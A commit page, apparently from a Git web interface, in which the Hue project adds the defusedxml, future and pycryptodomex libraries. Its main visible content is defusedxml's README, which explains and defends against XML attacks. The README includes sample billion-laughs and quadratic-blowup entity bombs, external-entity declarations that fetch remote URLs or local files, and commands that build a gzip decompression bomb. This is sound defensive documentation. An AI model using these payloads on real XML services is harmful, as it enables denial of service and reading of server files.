Bläddra i källkod

HUE-7419 [core] Update SAML libraries
add dependencies defusedxml(0.4.1), future(0.16.0),
and pycryptodomex(3.4.7 removed lib/Crypto/SelfTest/)

Ying Chen 8 år sedan
förälder
incheckning
83cc6e7ed8
100 ändrade filer med 10923 tillägg och 0 borttagningar
  1. 17 0
      desktop/core/ext-py/defusedxml-0.4.1/.hgignore
  2. 55 0
      desktop/core/ext-py/defusedxml-0.4.1/CHANGES.txt
  3. 49 0
      desktop/core/ext-py/defusedxml-0.4.1/LICENSE
  4. 9 0
      desktop/core/ext-py/defusedxml-0.4.1/MANIFEST.in
  5. 62 0
      desktop/core/ext-py/defusedxml-0.4.1/Makefile
  6. 776 0
      desktop/core/ext-py/defusedxml-0.4.1/README.txt
  7. 112 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/ElementTree.py
  8. 42 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/__init__.py
  9. 25 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/cElementTree.py
  10. 163 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/common.py
  11. 110 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/expatbuilder.py
  12. 59 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/expatreader.py
  13. 149 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/lxml.py
  14. 40 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/minidom.py
  15. 34 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/pulldom.py
  16. 47 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/sax.py
  17. 160 0
      desktop/core/ext-py/defusedxml-0.4.1/defusedxml/xmlrpc.py
  18. 3 0
      desktop/core/ext-py/defusedxml-0.4.1/other/README.txt
  19. 44 0
      desktop/core/ext-py/defusedxml-0.4.1/other/exploit_webdav.py
  20. 40 0
      desktop/core/ext-py/defusedxml-0.4.1/other/exploit_xmlrpc.py
  21. 9 0
      desktop/core/ext-py/defusedxml-0.4.1/other/perl.pl
  22. 16 0
      desktop/core/ext-py/defusedxml-0.4.1/other/php.php
  23. 60 0
      desktop/core/ext-py/defusedxml-0.4.1/other/python_external.py
  24. 9 0
      desktop/core/ext-py/defusedxml-0.4.1/other/python_genshi.py
  25. 7 0
      desktop/core/ext-py/defusedxml-0.4.1/other/ruby-hpricot.rb
  26. 17 0
      desktop/core/ext-py/defusedxml-0.4.1/other/ruby-libxml.rb
  27. 9 0
      desktop/core/ext-py/defusedxml-0.4.1/other/ruby-rexml.rb
  28. 58 0
      desktop/core/ext-py/defusedxml-0.4.1/setup.py
  29. 544 0
      desktop/core/ext-py/defusedxml-0.4.1/tests.py
  30. 449 0
      desktop/core/ext-py/defusedxml-0.4.1/void.css
  31. 5 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/cyclic.xml
  32. 8 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/dtd.xml
  33. 4 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/external.xml
  34. 5 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/external_file.xml
  35. 1 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/quadratic.xml
  36. 7 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/simple-ns.xml
  37. 6 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/simple.xml
  38. 20 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/xalan_exec.xsl
  39. 18 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/xalan_write.xsl
  40. 7 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/xmlbomb.xml
  41. 4 0
      desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/xmlbomb2.xml
  42. 25 0
      desktop/core/ext-py/future-0.16.0/.travis.yml
  43. 19 0
      desktop/core/ext-py/future-0.16.0/LICENSE.txt
  44. 28 0
      desktop/core/ext-py/future-0.16.0/MANIFEST.in
  45. 103 0
      desktop/core/ext-py/future-0.16.0/PKG-INFO
  46. 287 0
      desktop/core/ext-py/future-0.16.0/README.rst
  47. 9 0
      desktop/core/ext-py/future-0.16.0/TESTING.txt
  48. 2 0
      desktop/core/ext-py/future-0.16.0/check_rst.sh
  49. 58 0
      desktop/core/ext-py/future-0.16.0/discover_tests.py
  50. 213 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/astropy_py3compat.py
  51. 228 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/django_utils_encoding.py
  52. 17 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/gevent_py3k.py
  53. 178 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/ipython_py3compat.py
  54. 109 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/jinja2_compat.py
  55. 71 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/numpy_py3k.py
  56. 702 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/pandas_py3k.py
  57. 107 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/pycrypto_py3compat.py
  58. 69 0
      desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/statsmodels_py3k.py
  59. 153 0
      desktop/core/ext-py/future-0.16.0/docs/Makefile
  60. BIN
      desktop/core/ext-py/future-0.16.0/docs/_static/python-future-icon-32.ico
  61. BIN
      desktop/core/ext-py/future-0.16.0/docs/_static/python-future-icon-white-32.ico
  62. BIN
      desktop/core/ext-py/future-0.16.0/docs/_static/python-future-logo-textless-transparent.png
  63. BIN
      desktop/core/ext-py/future-0.16.0/docs/_static/python-future-logo.png
  64. BIN
      desktop/core/ext-py/future-0.16.0/docs/_static/python-future-logo.tiff
  65. 33 0
      desktop/core/ext-py/future-0.16.0/docs/_templates/layout.html
  66. 57 0
      desktop/core/ext-py/future-0.16.0/docs/_templates/navbar.html
  67. 21 0
      desktop/core/ext-py/future-0.16.0/docs/_templates/sidebarintro.html
  68. 3 0
      desktop/core/ext-py/future-0.16.0/docs/_templates/sidebarlogo.html
  69. 1 0
      desktop/core/ext-py/future-0.16.0/docs/_templates/sidebartoc.html
  70. 37 0
      desktop/core/ext-py/future-0.16.0/docs/_themes/LICENSE
  71. 31 0
      desktop/core/ext-py/future-0.16.0/docs/_themes/README
  72. 8 0
      desktop/core/ext-py/future-0.16.0/docs/_themes/future/layout.html
  73. 19 0
      desktop/core/ext-py/future-0.16.0/docs/_themes/future/relations.html
  74. 398 0
      desktop/core/ext-py/future-0.16.0/docs/_themes/future/static/future.css_t
  75. 3 0
      desktop/core/ext-py/future-0.16.0/docs/_themes/future/theme.conf
  76. 30 0
      desktop/core/ext-py/future-0.16.0/docs/automatic_conversion.rst
  77. 29 0
      desktop/core/ext-py/future-0.16.0/docs/bind_method.rst
  78. 81 0
      desktop/core/ext-py/future-0.16.0/docs/bytes_object.rst
  79. 1124 0
      desktop/core/ext-py/future-0.16.0/docs/changelog.rst
  80. 1481 0
      desktop/core/ext-py/future-0.16.0/docs/compatible_idioms.rst
  81. 332 0
      desktop/core/ext-py/future-0.16.0/docs/conf.py
  82. 27 0
      desktop/core/ext-py/future-0.16.0/docs/contents.rst.inc
  83. 27 0
      desktop/core/ext-py/future-0.16.0/docs/conversion_limitations.rst
  84. 115 0
      desktop/core/ext-py/future-0.16.0/docs/credits.rst
  85. 95 0
      desktop/core/ext-py/future-0.16.0/docs/custom_iterators.rst
  86. 27 0
      desktop/core/ext-py/future-0.16.0/docs/custom_str_methods.rst
  87. 23 0
      desktop/core/ext-py/future-0.16.0/docs/dev_notes.rst
  88. 22 0
      desktop/core/ext-py/future-0.16.0/docs/development.rst
  89. 97 0
      desktop/core/ext-py/future-0.16.0/docs/dict_object.rst
  90. 317 0
      desktop/core/ext-py/future-0.16.0/docs/faq.rst
  91. 37 0
      desktop/core/ext-py/future-0.16.0/docs/func_annotations.rst
  92. 18 0
      desktop/core/ext-py/future-0.16.0/docs/future-builtins.rst
  93. 83 0
      desktop/core/ext-py/future-0.16.0/docs/futureext.py
  94. 321 0
      desktop/core/ext-py/future-0.16.0/docs/futurize.rst
  95. 125 0
      desktop/core/ext-py/future-0.16.0/docs/futurize_cheatsheet.rst
  96. 55 0
      desktop/core/ext-py/future-0.16.0/docs/futurize_overview.rst
  97. 4 0
      desktop/core/ext-py/future-0.16.0/docs/hindsight.rst
  98. 126 0
      desktop/core/ext-py/future-0.16.0/docs/imports.rst
  99. 10 0
      desktop/core/ext-py/future-0.16.0/docs/index.rst
  100. 69 0
      desktop/core/ext-py/future-0.16.0/docs/int_object.rst

+ 17 - 0
desktop/core/ext-py/defusedxml-0.4.1/.hgignore

@@ -0,0 +1,17 @@
+^build/
+^dist/
+^core
+^MANIFEST
+^README\.html
+
+^.project
+^.pydevproject
+^.settings
+
+syntax: glob
+*.swp
+*.pyc
+*.pyo
+*.pyd
+*~
+__pycache__

+ 55 - 0
desktop/core/ext-py/defusedxml-0.4.1/CHANGES.txt

@@ -0,0 +1,55 @@
+Changelog
+=========
+
+defusedxml 0.4.1
+----------------
+
+*Release date: 28-Mar-2013*
+
+- Add more demo exploits, e.g. python_external.py and Xalan XSLT demos.
+- Improved documentation.
+
+
+defusedxml 0.4
+--------------
+
+*Release date: 25-Feb-2013*
+
+- As per http://seclists.org/oss-sec/2013/q1/340 please REJECT
+  CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use CVE-2013-1664,
+  CVE-2013-1665 for OpenStack/etc.
+- Add missing parser_list argument to sax.make_parser(). The argument is
+  ignored, though. (thanks to Florian Apolloner)
+- Add demo exploit for external entity attack on Python's SAX parser, XML-RPC
+  and WebDAV.
+
+
+defusedxml 0.3
+--------------
+
+*Release date: 19-Feb-2013*
+
+- Improve documentation
+
+
+defusedxml 0.2
+--------------
+
+*Release date: 15-Feb-2013*
+
+- Rename ExternalEntitiesForbidden to ExternalReferenceForbidden
+- Rename defusedxml.lxml.check_dtd() to check_docinfo()
+- Unify argument names in callbacks
+- Add arguments and formatted representation to exceptions
+- Add forbid_external argument to all functions and classs
+- More tests
+- LOTS of documentation
+- Add example code for other languages (Ruby, Perl, PHP) and parsers (Genshi)
+- Add protection against XML and gzip attacks to xmlrpclib
+
+defusedxml 0.1
+--------------
+
+*Release date: 08-Feb-2013*
+
+- Initial and internal release for PSRT review

+ 49 - 0
desktop/core/ext-py/defusedxml-0.4.1/LICENSE

@@ -0,0 +1,49 @@
+PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
+--------------------------------------------
+
+1. This LICENSE AGREEMENT is between the Python Software Foundation
+("PSF"), and the Individual or Organization ("Licensee") accessing and
+otherwise using this software ("Python") in source or binary form and
+its associated documentation.
+
+2. Subject to the terms and conditions of this License Agreement, PSF
+hereby grants Licensee a nonexclusive, royalty-free, world-wide
+license to reproduce, analyze, test, perform and/or display publicly,
+prepare derivative works, distribute, and otherwise use Python
+alone or in any derivative version, provided, however, that PSF's
+License Agreement and PSF's notice of copyright, i.e., "Copyright (c)
+2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 Python Software Foundation; 
+All Rights Reserved" are retained in Python alone or in any derivative 
+version prepared by Licensee.
+
+3. In the event Licensee prepares a derivative work that is based on
+or incorporates Python or any part thereof, and wants to make
+the derivative work available to others as provided herein, then
+Licensee hereby agrees to include in any such work a brief summary of
+the changes made to Python.
+
+4. PSF is making Python available to Licensee on an "AS IS"
+basis.  PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
+IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
+DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
+FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
+INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
+FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
+A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
+OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material
+breach of its terms and conditions.
+
+7. Nothing in this License Agreement shall be deemed to create any
+relationship of agency, partnership, or joint venture between PSF and
+Licensee.  This License Agreement does not grant permission to use PSF
+trademarks or trade name in a trademark sense to endorse or promote
+products or services of Licensee, or any third party.
+
+8. By copying, installing or otherwise using Python, Licensee
+agrees to be bound by the terms and conditions of this License
+Agreement.
+

+ 9 - 0
desktop/core/ext-py/defusedxml-0.4.1/MANIFEST.in

@@ -0,0 +1,9 @@
+include setup.py
+include README.txt CHANGES.txt LICENSE README.html
+include void.css
+include MANIFEST.in
+include setup.py Makefile
+include tests.py
+recursive-include xmltestdata *.xml
+recursive-include other *.php *.pl *.rb *.py *.txt
+

+ 62 - 0
desktop/core/ext-py/defusedxml-0.4.1/Makefile

@@ -0,0 +1,62 @@
+PYTHON=python
+SETUPFLAGS=
+COMPILEFLAGS=
+INSTALLFLAGS=
+PYTHONS=python2.6 python2.7 python3.1 python3.2 python3.3 python3.4
+
+.PHONY: inplace all rebuild test_inplace test fulltests clean distclean
+.PHONY: sdist install
+
+all: inplace README.html
+
+README.html: README.txt CHANGES.txt void.css
+	@echo | cat README.txt - CHANGES.txt | \
+	    rst2html --verbose --exit-status=1 --stylesheet=void.css \
+            > README.html
+
+inplace:
+	$(PYTHON) setup.py $(SETUPFLAGS) build_ext -i $(COMPILEFLAGS)
+
+rebuild: clean all
+
+test_inplace: inplace
+	$(PYTHON) -m tests
+
+test: test_inplace
+
+fulltest:
+	$(MAKE) clean
+	@set -e; \
+	for python in $(PYTHONS); do \
+		if [ -z $$(which $$python) ]; then \
+			echo "*** $$python not found ***\n"; \
+			continue; \
+		fi; \
+		echo "*** $$python ***"; \
+		$$python $(SETUPFLAGS) setup.py -q test; \
+		echo ""; \
+	done
+	$(MAKE) clean
+
+clean:
+	@find . \( -name '*.o' -or -name '*.so' -or -name '*.sl' -or \
+	           -name '*.py[cod]' -or -name README.html \) \
+	    -and -type f -delete
+
+distclean: clean
+	@rm -rf build
+	@rm -rf dist
+	@find . \( -name '~*' -or -name '*.orig' -or -name '*.bak' -or \
+	          -name 'core*' \) -and -type f  -delete
+
+whitespace:
+	@find \( -name '*.rst' -or -name '*.py' -or -name '*.xml' \) | \
+	    xargs sed -i 's/[ \t]*$$//'
+
+
+sdist: README.html
+	$(PYTHON) setup.py sdist --formats gztar,zip
+
+install:
+	$(PYTHON) setup.py $(SETUPFLAGS) build $(COMPILEFLAGS)
+	$(PYTHON) setup.py install $(INSTALLFLAGS)

+ 776 - 0
desktop/core/ext-py/defusedxml-0.4.1/README.txt

@@ -0,0 +1,776 @@
+===================================================
+defusedxml -- defusing XML bombs and other exploits
+===================================================
+
+    "It's just XML, what could probably go wrong?"
+
+Christian Heimes <christian@python.org>
+
+Synopsis
+========
+
+The results of an attack on a vulnerable XML library can be fairly dramatic.
+With just a few hundred **Bytes** of XML data an attacker can occupy several
+**Gigabytes** of memory within **seconds**. An attacker can also keep
+CPUs busy for a long time with a small to medium size request. Under some
+circumstances it is even possible to access local files on your
+server, to circumvent a firewall, or to abuse services to rebound attacks to
+third parties.
+
+The attacks use and abuse less common features of XML and its parsers. The
+majority of developers are unacquainted with features such as processing
+instructions and entity expansions that XML inherited from SGML. At best
+they know about ``<!DOCTYPE>`` from experience with HTML but they are not
+aware that a document type definition (DTD) can generate an HTTP request
+or load a file from the file system.
+
+None of the issues is new. They have been known for a long time. Billion
+laughs was first reported in 2003. Nevertheless some XML libraries and
+applications are still vulnerable and even heavy users of XML are
+surprised by these features. It's hard to say whom to blame for the
+situation. It's too short sighted to shift all blame on XML parsers and
+XML libraries for using insecure default settings. After all they
+properly implement XML specifications. Application developers must not rely
+that a library is always configured for security and potential harmful data
+by default.
+
+
+.. contents:: Table of Contents
+   :depth: 2
+
+
+Attack vectors
+==============
+
+billion laughs / exponential entity expansion
+---------------------------------------------
+
+The `Billion Laughs`_ attack -- also known as exponential entity expansion --
+uses multiple levels of nested entities. The original example uses 9 levels
+of 10 expansions in each level to expand the string ``lol`` to a string of
+3 * 10 :sup:`9` bytes, hence the name "billion laughs". The resulting string
+occupies 3 GB (2.79 GiB) of memory; intermediate strings require additional
+memory. Because most parsers don't cache the intermediate step for every
+expansion it is repeated over and over again. It increases the CPU load even
+more.
+
+An XML document of just a few hundred bytes can disrupt all services on a
+machine within seconds.
+
+Example XML::
+
+    <!DOCTYPE xmlbomb [
+    <!ENTITY a "1234567890" >
+    <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
+    <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
+    <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
+    ]>
+    <bomb>&d;</bomb>
+
+
+quadratic blowup entity expansion
+---------------------------------
+
+A quadratic blowup attack is similar to a `Billion Laughs`_ attack; it abuses
+entity expansion, too. Instead of nested entities it repeats one large entity
+with a couple of thousand chars over and over again. The attack isn't as
+efficient as the exponential case but it avoids triggering countermeasures of
+parsers against heavily nested entities. Some parsers limit the depth and
+breadth of a single entity but not the total amount of expanded text
+throughout an entire XML document.
+
+A medium-sized XML document with a couple of hundred kilobytes can require a
+couple of hundred MB to several GB of memory. When the attack is combined
+with some level of nested expansion an attacker is able to achieve a higher
+ratio of success.
+
+::
+
+    <!DOCTYPE bomb [
+    <!ENTITY a "xxxxxxx... a couple of ten thousand chars">
+    ]>
+    <bomb>&a;&a;&a;... repeat</bomb>
+
+
+external entity expansion (remote)
+----------------------------------
+
+Entity declarations can contain more than just text for replacement. They can
+also point to external resources by public identifiers or system identifiers.
+System identifiers are standard URIs. When the URI is a URL (e.g. a
+``http://`` locator) some parsers download the resource from the remote
+location and embed them into the XML document verbatim.
+
+Simple example of a parsed external entity::
+
+    <!DOCTYPE external [
+    <!ENTITY ee SYSTEM "http://www.python.org/some.xml">
+    ]>
+    <root>&ee;</root>
+
+The case of parsed external entities works only for valid XML content. The
+XML standard also supports unparsed external entities with a
+``NData declaration``.
+
+External entity expansion opens the door to plenty of exploits. An attacker
+can abuse a vulnerable XML library and application to rebound and forward
+network requests with the IP address of the server. It highly depends
+on the parser and the application what kind of exploit is possible. For
+example:
+
+* An attacker can circumvent firewalls and gain access to restricted
+  resources as all the requests are made from an internal and trustworthy
+  IP address, not from the outside.
+* An attacker can abuse a service to attack, spy on or DoS your servers but
+  also third party services. The attack is disguised with the IP address of
+  the server and the attacker is able to utilize the high bandwidth of a big
+  machine.
+* An attacker can exhaust additional resources on the machine, e.g. with
+  requests to a service that doesn't respond or responds with very large
+  files.
+* An attacker may gain knowledge, when, how often and from which IP address
+  a XML document is accessed.
+* An attacker could send mail from inside your network if the URL handler
+  supports ``smtp://`` URIs.
+
+
+external entity expansion (local file)
+--------------------------------------
+
+External entities with references to local files are a sub-case of external
+entity expansion. It's listed as an extra attack because it deserves extra
+attention. Some XML libraries such as lxml disable network access by default
+but still allow entity expansion with local file access by default. Local
+files are either referenced with a ``file://`` URL or by a file path (either
+relative or absolute).
+
+An attacker may be able to access and download all files that can be read by
+the application process. This may include critical configuration files, too.
+
+::
+
+    <!DOCTYPE external [
+    <!ENTITY ee SYSTEM "file:///PATH/TO/simple.xml">
+    ]>
+    <root>&ee;</root>
+
+
+DTD retrieval
+-------------
+
+This case is similar to external entity expansion, too. Some XML libraries
+like Python's xml.dom.pulldom retrieve document type definitions from remote
+or local locations. Several attack scenarios from the external entity case
+apply to this issue as well.
+
+::
+
+    <?xml version="1.0" encoding="utf-8"?>
+    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+    <html>
+        <head/>
+        <body>text</body>
+    </html>
+
+
+Python XML Libraries
+====================
+
+.. csv-table:: vulnerabilities and features
+   :header: "kind", "sax", "etree", "minidom", "pulldom", "xmlrpc", "lxml", "genshi"
+   :widths: 24, 7, 8, 8, 7, 8, 8, 8
+   :stub-columns: 0
+
+   "billion laughs", "**True**", "**True**", "**True**", "**True**", "**True**", "False (1)", "False (5)"
+   "quadratic blowup", "**True**", "**True**", "**True**", "**True**", "**True**", "**True**", "False (5)"
+   "external entity expansion (remote)", "**True**", "False (3)", "False (4)", "**True**", "false", "False (1)", "False (5)"
+   "external entity expansion (local file)", "**True**", "False (3)", "False (4)", "**True**", "false", "**True**", "False (5)"
+   "DTD retrieval", "**True**", "False", "False", "**True**", "false", "False (1)", "False"
+   "gzip bomb", "False", "False", "False", "False", "**True**", "**partly** (2)", "False"
+   "xpath support (7)", "False", "False", "False", "False", "False", "**True**", "False"
+   "xsl(t) support (7)", "False", "False", "False", "False", "False", "**True**", "False"
+   "xinclude support (7)", "False", "**True** (6)", "False", "False", "False", "**True** (6)", "**True**"
+   "C library", "expat", "expat", "expat", "expat", "expat", "libxml2", "expat"
+
+1. Lxml is protected against billion laughs attacks and doesn't do network
+   lookups by default.
+2. libxml2 and lxml are not directly vulnerable to gzip decompression bombs
+   but they don't protect you against them either.
+3. xml.etree doesn't expand entities and raises a ParserError when an entity
+   occurs.
+4. minidom doesn't expand entities and simply returns the unexpanded entity
+   verbatim.
+5. genshi.input of genshi 0.6 doesn't support entity expansion and raises a
+   ParserError when an entity occurs.
+6. Library has (limited) XInclude support but requires an additional step to
+   process inclusion.
+7. These are features but they may introduce exploitable holes, see
+   `Other things to consider`_
+
+
+Settings in standard library
+----------------------------
+
+
+xml.sax.handler Features
+........................
+
+feature_external_ges (http://xml.org/sax/features/external-general-entities)
+  disables external entity expansion
+
+feature_external_pes (http://xml.org/sax/features/external-parameter-entities)
+  the option is ignored and doesn't modify any functionality
+
+DOM xml.dom.xmlbuilder.Options
+..............................
+
+external_parameter_entities
+  ignored
+
+external_general_entities
+  ignored
+
+external_dtd_subset
+  ignored
+
+entities
+  unsure
+
+
+defusedxml
+==========
+
+The `defusedxml package`_ (`defusedxml on PyPI`_)
+contains several Python-only workarounds and fixes
+for denial of service and other vulnerabilities in Python's XML libraries.
+In order to benefit from the protection you just have to import and use the
+listed functions / classes from the right defusedxml module instead of the
+original module. Merely `defusedxml.xmlrpc`_ is implemented as monkey patch.
+
+Instead of::
+
+   >>> from xml.etree.ElementTree import parse
+   >>> et = parse(xmlfile)
+
+alter code to::
+
+   >>> from defusedxml.ElementTree import parse
+   >>> et = parse(xmlfile)
+
+Additionally the package has an **untested** function to monkey patch
+all stdlib modules with ``defusedxml.defuse_stdlib()``.
+
+All functions and parser classes accept three additional keyword arguments.
+They return either the same objects as the original functions or compatible
+subclasses.
+
+forbid_dtd (default: False)
+  disallow XML with a ``<!DOCTYPE>`` processing instruction and raise a
+  *DTDForbidden* exception when a DTD processing instruction is found.
+
+forbid_entities (default: True)
+  disallow XML with ``<!ENTITY>`` declarations inside the DTD and raise an
+  *EntitiesForbidden* exception when an entity is declared.
+
+forbid_external (default: True)
+  disallow any access to remote or local resources in external entities
+  or DTD and raising an *ExternalReferenceForbidden* exception when a DTD
+  or entity references an external resource.
+
+
+defusedxml (package)
+--------------------
+
+DefusedXmlException, DTDForbidden, EntitiesForbidden,
+ExternalReferenceForbidden, NotSupportedError
+
+defuse_stdlib() (*experimental*)
+
+
+defusedxml.cElementTree
+-----------------------
+
+parse(), iterparse(), fromstring(), XMLParser
+
+
+defusedxml.ElementTree
+-----------------------
+
+parse(), iterparse(), fromstring(), XMLParser
+
+
+defusedxml.expatreader
+----------------------
+
+create_parser(), DefusedExpatParser
+
+
+defusedxml.sax
+--------------
+
+parse(), parseString(), create_parser()
+
+
+defusedxml.expatbuilder
+-----------------------
+
+parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS
+
+
+defusedxml.minidom
+------------------
+
+parse(), parseString()
+
+
+defusedxml.pulldom
+------------------
+
+parse(), parseString()
+
+
+defusedxml.xmlrpc
+-----------------
+
+The fix is implemented as monkey patch for the stdlib's xmlrpc package (3.x)
+or xmlrpclib module (2.x). The function `monkey_patch()` enables the fixes,
+`unmonkey_patch()` removes the patch and puts the code in its former state.
+
+The monkey patch protects against XML related attacks as well as
+decompression bombs and excessively large requests or responses. The default
+setting is 30 MB for requests, responses and gzip decompression. You can
+modify the default by changing the module variable `MAX_DATA`. A value of
+`-1` disables the limit.
+
+
+defusedxml.lxml
+---------------
+
+The module acts as an *example* how you could protect code that uses
+lxml.etree. It implements a custom Element class that filters out
+Entity instances, a custom parser factory and a thread local storage for
+parser instances. It also has a check_docinfo() function which inspects
+a tree for internal or external DTDs and entity declarations. In order to
+check for entities lxml > 3.0 is required.
+
+parse(), fromstring()
+RestrictedElement, GlobalParserTLS, getDefaultParser(), check_docinfo()
+
+
+defusedexpat
+============
+
+The `defusedexpat package`_ (`defusedexpat on PyPI`_)
+comes with binary extensions and a
+`modified expat`_ libary instead of the standard `expat parser`_. It's
+basically a stand-alone version of the patches for Python's standard
+library C extensions.
+
+Modifications in expat
+----------------------
+
+new definitions::
+
+  XML_BOMB_PROTECTION
+  XML_DEFAULT_MAX_ENTITY_INDIRECTIONS
+  XML_DEFAULT_MAX_ENTITY_EXPANSIONS
+  XML_DEFAULT_RESET_DTD
+
+new XML_FeatureEnum members::
+
+  XML_FEATURE_MAX_ENTITY_INDIRECTIONS
+  XML_FEATURE_MAX_ENTITY_EXPANSIONS
+  XML_FEATURE_IGNORE_DTD
+
+new XML_Error members::
+
+  XML_ERROR_ENTITY_INDIRECTIONS
+  XML_ERROR_ENTITY_EXPANSION
+
+new API functions::
+
+  int XML_GetFeature(XML_Parser parser,
+                     enum XML_FeatureEnum feature,
+                     long *value);
+  int XML_SetFeature(XML_Parser parser,
+                     enum XML_FeatureEnum feature,
+                     long value);
+  int XML_GetFeatureDefault(enum XML_FeatureEnum feature,
+                            long *value);
+  int XML_SetFeatureDefault(enum XML_FeatureEnum feature,
+                            long value);
+
+XML_FEATURE_MAX_ENTITY_INDIRECTIONS
+   Limit the amount of indirections that are allowed to occur during the
+   expansion of a nested entity. A counter starts when an entity reference
+   is encountered. It resets after the entity is fully expanded. The limit
+   protects the parser against exponential entity expansion attacks (aka
+   billion laughs attack). When the limit is exceeded the parser stops and
+   fails with `XML_ERROR_ENTITY_INDIRECTIONS`.
+   A value of 0 disables the protection.
+
+   Supported range
+     0 .. UINT_MAX
+   Default
+     40
+
+XML_FEATURE_MAX_ENTITY_EXPANSIONS
+   Limit the total length of all entity expansions throughout the entire
+   document. The lengths of all entities are accumulated in a parser variable.
+   The setting protects against quadratic blowup attacks (lots of expansions
+   of a large entity declaration). When the sum of all entities exceeds
+   the limit, the parser stops and fails with `XML_ERROR_ENTITY_EXPANSION`.
+   A value of 0 disables the protection.
+
+   Supported range
+     0 .. UINT_MAX
+   Default
+     8 MiB
+
+XML_FEATURE_RESET_DTD
+   Reset all DTD information after the <!DOCTYPE> block has been parsed. When
+   the flag is set (default: false) all DTD information after the
+   endDoctypeDeclHandler has been called. The flag can be set inside the
+   endDoctypeDeclHandler. Without DTD information any entity reference in
+   the document body leads to `XML_ERROR_UNDEFINED_ENTITY`.
+
+   Supported range
+     0, 1
+   Default
+     0
+
+
+How to avoid XML vulnerabilities
+================================
+
+Best practices
+--------------
+
+* Don't allow DTDs
+* Don't expand entities
+* Don't resolve externals
+* Limit parse depth
+* Limit total input size
+* Limit parse time
+* Favor a SAX or iterparse-like parser for potential large data
+* Validate and properly quote arguments to XSL transformations and
+  XPath queries
+* Don't use XPath expression from untrusted sources
+* Don't apply XSL transformations that come untrusted sources
+
+(based on Brad Hill's `Attacking XML Security`_)
+
+
+Other things to consider
+========================
+
+XML, XML parsers and processing libraries have more features and possible
+issue that could lead to DoS vulnerabilities or security exploits in
+applications. I have compiled an incomplete list of theoretical issues that
+need further research and more attention. The list is deliberately pessimistic
+and a bit paranoid, too. It contains things that might go wrong under daffy
+circumstances.
+
+
+attribute blowup / hash collision attack
+----------------------------------------
+
+XML parsers may use an algorithm with quadratic runtime O(n :sup:`2`) to
+handle attributes and namespaces. If it uses hash tables (dictionaries) to
+store attributes and namespaces the implementation may be vulnerable to
+hash collision attacks, thus reducing the performance to O(n :sup:`2`) again.
+In either case an attacker is able to forge a denial of service attack with
+an XML document that contains thousands upon thousands of attributes in
+a single node.
+
+I haven't researched yet if expat, pyexpat or libxml2 are vulnerable.
+
+
+decompression bomb
+------------------
+
+The issue of decompression bombs (aka `ZIP bomb`_) apply to all XML libraries
+that can parse compressed XML stream like gzipped HTTP streams or LZMA-ed
+files. For an attacker it can reduce the amount of transmitted data by three
+magnitudes or more. Gzip is able to compress 1 GiB zeros to roughly 1 MB,
+lzma is even better::
+
+    $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
+    $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
+    $ ls -sh zeros.*
+    1020K zeros.gz
+     148K zeros.xy
+
+None of Python's standard XML libraries decompress streams except for
+``xmlrpclib``. The module is vulnerable <http://bugs.python.org/issue16043>
+to decompression bombs.
+
+lxml can load and process compressed data through libxml2 transparently.
+libxml2 can handle even very large blobs of compressed data efficiently
+without using too much memory. But it doesn't protect applications from
+decompression bombs. A carefully written SAX or iterparse-like approach can
+be safe.
+
+
+Processing Instruction
+----------------------
+
+`PI`_'s like::
+
+  <?xml-stylesheet type="text/xsl" href="style.xsl"?>
+
